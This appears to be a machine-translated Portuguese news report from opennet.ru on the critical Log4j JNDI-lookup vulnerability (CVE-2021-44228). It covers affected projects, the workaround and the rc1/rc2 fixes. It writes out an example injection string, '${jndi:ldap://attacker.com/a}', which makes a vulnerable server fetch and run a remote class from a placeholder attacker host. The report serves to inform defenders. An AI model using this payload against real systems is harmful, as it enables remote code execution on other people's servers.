Vulnerabilidade catastrófica no Apache Log4j afetando muitos projetos Java

No Apache Log4j, uma estrutura popular para organizar o log em aplicativos Java, foi identificada uma vulnerabilidade crítica que permite a execução de código arbitrário quando um valor especialmente formatado no formato “{jndi:URL}” é gravado no log. O ataque pode ser realizado em aplicações Java que registram valores recebidos de fontes externas, por exemplo, ao exibir valores problemáticos em mensagens de erro.

Observa-se que quase todos os projetos que utilizam frameworks como Apache Struts, Apache Solr, Apache Druid ou Apache Flink são afetados pelo problema, incluindo Steam, Apple iCloud, clientes e servidores Minecraft. Espera-se que a vulnerabilidade possa levar a uma onda de ataques massivos a aplicações corporativas, repetindo o histórico de vulnerabilidades críticas no framework Apache Struts, que, segundo uma estimativa aproximada, é usado em aplicações web por 65% da Fortune. 100 empresas. Incluindo tentativas de verificar a rede em busca de sistemas vulneráveis.

O problema é agravado pelo fato de que uma exploração funcional já foi publicada, mas as correções para as ramificações estáveis ​​ainda não foram compiladas. O identificador CVE ainda não foi atribuído. A correção está incluída apenas na ramificação de teste log4j-2.15.0-rc1. Como solução alternativa para bloquear a vulnerabilidade, é recomendado definir o parâmetro log4j2.formatMsgNoLookups como true.

O problema foi causado pelo fato de log4j suportar o processamento de máscaras especiais “{}” em linhas de saída para o log, nas quais consultas JNDI (Java Naming and Directory Interface) poderiam ser executadas. O ataque se resume a passar uma string com a substituição “${jndi:ldap://attacker.com/a}”, após o processamento qual log4j enviará uma solicitação LDAP do caminho da classe Java para o servidor attacker.com . O caminho retornado pelo servidor do invasor (por exemplo, http://second-stage.attacker.com/Exploit.class) será carregado e executado no contexto do processo atual, o que permite ao invasor executar código arbitrário no sistema com os direitos do aplicativo atual.

Adendo 1: A vulnerabilidade recebeu o identificador CVE-2021-44228.

Adendo 2: Foi identificada uma maneira de contornar a proteção adicionada pela versão log4j-2.15.0-rc1. Uma nova atualização, log4j-2.15.0-rc2, foi proposta com proteção mais completa contra a vulnerabilidade. O código destaca a alteração associada à ausência de encerramento anormal no caso de utilização de uma URL JNDI formatada incorretamente.

Fonte: opennet.ru

Adicionar um comentário